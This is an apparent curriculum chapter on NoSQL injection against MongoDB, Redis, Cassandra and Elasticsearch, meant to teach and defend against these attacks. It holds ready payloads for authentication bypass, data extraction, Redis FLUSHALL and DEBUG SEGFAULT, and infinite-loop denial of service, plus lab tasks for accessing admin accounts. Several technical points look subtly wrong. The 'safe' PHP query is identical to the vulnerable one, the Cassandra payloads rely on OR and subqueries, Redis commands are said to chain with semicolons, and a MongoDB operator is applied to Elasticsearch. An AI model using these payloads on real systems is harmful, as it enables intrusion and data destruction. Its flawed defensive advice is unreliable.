NoSQL injection targets non-relational databases like MongoDB, Redis, Cassandra, and Elasticsearch. Unlike SQL injection, NoSQL databases use different query languages and data structures, but they are equally vulnerable to injection attacks when user input is not properly sanitized.
MongoDB uses JSON-like documents for queries. When applications construct queries using string concatenation or improper parameterization, injection vulnerabilities occur.
Normal Query:
db.users.find({
username: 'admin',
password: 'secret123'
})Vulnerable Code (PHP):
$query = [
'username' => $_GET['username'],
'password' => $_GET['password']
];
$users = $collection->find($query);Attack Payload:
?username[$ne]=1&password[$ne]=1
Resulting Query:
{
username: {$ne: 1}, // Not equal to 1 (always true for strings)
password: {$ne: 1} // Not equal to 1 (always true for strings)
}Impact: Authentication bypass - returns all users
| Operator | Meaning | Injection Use |
|---|---|---|
$eq |
Equals | Bypass exact match |
$ne |
Not equal | Always true conditions |
$gt |
Greater than | Numeric bypass |
$lt |
Less than | Numeric bypass |
$exists |
Field exists | Check field presence |
$regex |
Regular expression | Pattern matching bypass |
$where |
JavaScript execution | Code execution |
Method 1: $ne Operator
POST /login
username[$ne]=admin&password[$ne]=password
Method 2: $gt Operator
POST /login
username[$gt]=&password[$gt]=
Method 3: $regex Operator
POST /login
username[$regex]=.*&password[$regex]=.*
Extract All Users:
GET /api/users?id[$ne]=
Find Admin Users:
GET /api/users?role[$regex]=^admin
Boolean-Based Blind:
GET /api/users?id=1&username[$regex]=^a.*
- If response contains user: username starts with 'a'
- If empty: starts with different character
Vulnerable Code:
$query = [
'$where' => "this.username == '" . $_GET['username'] . "'"
];Attack Payload:
?username='; return true; var a='
Result:
this.username == ''
return true
var a = ''Impact: Bypasses all checks, returns all documents
Data Extraction via $where:
?username='; while(true){}; '
- Causes denial of service (infinite loop)
?username='; sleep(5000); '
- Time-based detection (if enabled)
Use Proper Parameterization:
// PHP with MongoDB driver
$query = [
'username' => $_GET['username'], // Driver handles sanitization
'password' => $_GET['password']
];Disable $where:
// MongoDB configuration
db.adminCommand({
setParameter: 1,
javascriptEnabled: false
})Input Validation:
function validateUsername($username) {
if (!is_string($username) || strlen($username) > 50) {
throw new Exception("Invalid username");
}
return $username;
}Redis is a key-value store. Injection occurs when user input is used to construct Redis commands.
Vulnerable Code (Python):
import redis
r = redis.Redis()
user_input = request.args.get('key')
# DANGEROUS: Direct command execution
result = r.execute_command(f"GET {user_input}")Payload:
key=mykey; FLUSHALL;
Result:
GET mykey; FLUSHALL;
Impact: Data deletion (FLUSHALL removes all keys)
Information Extraction:
?key=mykey; INFO;
- Returns Redis server information
Configuration Disclosure:
?key=mykey; CONFIG GET *;
- Returns all configuration settings
Write Operations:
?key=mykey; SET hacked true;
- Creates new keys
Denial of Service:
?key=mykey; DEBUG SEGFAULT;
- Crashes Redis server (if enabled)
Redis supports Lua scripting for atomic operations.
Vulnerable Code:
script = f"return redis.call('get', '{user_input}')"
result = r.eval(script, 0)Attack:
key='); redis.call('set', 'hacked', 'true'); return redis.call('get', '
Impact: Arbitrary Redis commands via Lua
Use Redis Commands Properly:
# Safe - Redis client handles escaping
result = r.get(user_input)Command Whitelist:
ALLOWED_COMMANDS = ['GET', 'SET', 'DEL']
def safe_execute(command, key):
if command not in ALLOWED_COMMANDS:
raise Exception("Command not allowed")
return r.execute_command(command, key)Disable Dangerous Commands:
# redis.conf
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command DEBUG ""
Cassandra Query Language (CQL) is similar to SQL but with key differences. It's vulnerable to similar injection techniques.
Normal Query:
SELECT * FROM users WHERE username = 'admin' AND password = 'secret';Vulnerable Code:
query = f"SELECT * FROM users WHERE username = '{username}'"
session.execute(query)Attack Payload:
username' OR '1'='1'--
Result:
SELECT * FROM users WHERE username = '' OR '1'='1'--'Impact: Returns all users (authentication bypass)
UNION Not Supported: Cassandra doesn't support UNION, but other techniques work.
ALLOW FILTERING Abuse:
' ALLOW FILTERING; --
Secondary Index Exploitation:
' AND field IN (SELECT field FROM other_table); --
Using Built-in Functions:
' AND blobAsBigint(timestampAsBlob(now())) > 0 --
Use Prepared Statements:
# Python with cassandra-driver
query = "SELECT * FROM users WHERE username = ?"
session.execute(query, [username])Input Validation:
import re
def validate_cql_input(value):
if re.search(r'[;\-\']', value):
raise ValueError("Invalid characters in input")
return valueElasticsearch uses JSON-based Query DSL. Injection occurs when user input is embedded in query JSON.
Normal Query:
{
"query": {
"match": {
"username": "admin"
}
}
}Vulnerable Code:
query = {
"query": {
"match": {
"username": request.args.get('username')
}
}
}
es.search(index="users", body=query)Attack via JSON Manipulation:
?username={"$gt": ""}
Result:
{
"query": {
"match": {
"username": { "$gt": "" }
}
}
}Impact: Returns all documents (empty string comparison always true for non-empty fields)
Elasticsearch supports scripted fields for dynamic calculations.
Vulnerable Query:
{
"script_fields": {
"result": {
"script": {
"lang": "painless",
"source": "doc['field'].value * " + user_input
}
}
}
}Attack Payload:
1; doc['password'].value;
Impact: Extracts password field through script execution
Vulnerable Template:
{
"source": {
"query": {
"match": {
"username": "{{username}}"
}
}
}
}Attack:
username": {"match_all": {}}}
Impact: Returns all documents
Use Parameterized Queries:
# Elasticsearch DSL handles parameterization
query = {
"query": {
"match": {
"username": username # Safe
}
}
}Disable Dynamic Scripting:
# elasticsearch.yml
script.inline: false
script.indexed: false
script.file: falseInput Validation:
def validate_search_input(value):
if not isinstance(value, str):
raise ValueError("Invalid input type")
if '{' in value or '}' in value:
raise ValueError("JSON characters not allowed")
return valueTest Operators:
?id[$ne]=1
?id[$exists]=true
?id[$regex]=.*
Error Messages:
- "unknown operator" → MongoDB confirmed
- "bad query" → Query parsing error
Command Injection Test:
?key=test; PING;
Response Analysis:
- PONG response → Command injection confirmed
- Error → Might still be vulnerable to other techniques
Standard SQLi Tests Work:
?id=1' AND 1=1--
?id=1' AND 1=2--
CQL-Specific:
?field=token('partition_key')
JSON Injection Test:
?q={"match_all": {}}
Response Analysis:
- All documents returned → Injection confirmed
- Parse error → JSON injection possible
Setup:
- Node.js application with MongoDB
- Login form vulnerable to operator injection
Task:
- Identify MongoDB backend
- Use
$neoperator to bypass authentication - Access admin account
Payload:
POST /login
Content-Type: application/json
{"username": {"$ne": null}, "password": {"$ne": null}}
Setup:
- Application with Redis cache
- Key lookup vulnerable to command injection
Task:
- Inject Redis commands via key parameter
- Extract server information
- List all keys in database
Payload:
GET /cache?key=mykey; KEYS *;
Setup:
- Search application using Elasticsearch
- Script fields enabled
Task:
- Identify Elasticsearch backend
- Use script fields to extract data
- Access documents not in search results
Payload:
{
"script_fields": {
"result": {
"script": "doc['hidden_field'].value"
}
}
}- NoSQL databases are equally vulnerable - Just different syntax
- JSON-based queries - Open to object injection attacks
- Operators like $ne, $gt - Can create always-true conditions
- JavaScript/Lua scripting - Enables code execution in MongoDB/Redis
- Prevention is similar - Parameterization and input validation
| Aspect | SQL Injection | NoSQL Injection |
|---|---|---|
| Query Language | SQL statements | JSON/BSON objects |
| Comment Syntax | --, /* */ |
Not applicable |
| Boolean Logic | OR 1=1 |
$ne, $gt operators |
| Union Attacks | UNION SELECT |
Not supported |
| Code Execution | xp_cmdshell, etc. | $where, Lua scripts |
| Prevention | Prepared statements | Proper driver usage |
Continue to 22 - Cheat Sheet for quick reference to all SQL injection techniques covered in this curriculum.